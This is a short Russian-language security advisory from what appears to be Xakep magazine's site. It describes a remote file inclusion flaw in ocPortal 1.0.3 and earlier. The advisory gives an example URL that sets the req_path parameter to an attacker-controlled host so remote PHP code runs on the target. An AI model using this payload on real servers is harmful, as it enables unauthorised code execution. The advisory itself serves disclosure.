Лучшие статьи квартала на бумаге
2 000 ₽
Заказать журнал
Полный доступ к статьям и архиву выпусков
6 000 ₽ в год
Подписаться
Совместный курс «Хакера» и лаборатории «Хаксет»
7 000 ₽
Купить курс
Лучшие статьи за 2021–2022 годы на бумаге
2 000 ₽
Заказать журнал
Программа: ocPortal 1.0.3 и более ранние версии
Уязвимость обнаружена в ocPortal. Удаленный атакующий может выполнить произвольный PHP сценарий.
Уязвимость существует из-за некорректной обработки входных данных в переменной $req_path в файле index.php. Удаленный атакующий может в качестве параметра уязвимой переменной указать удаленный файл, который будет выполнен на целевом сервере.
Пример:
http://[target]/ocp-103/index.php?req_path=http://[attacker]/
Сайт защищен Qrator —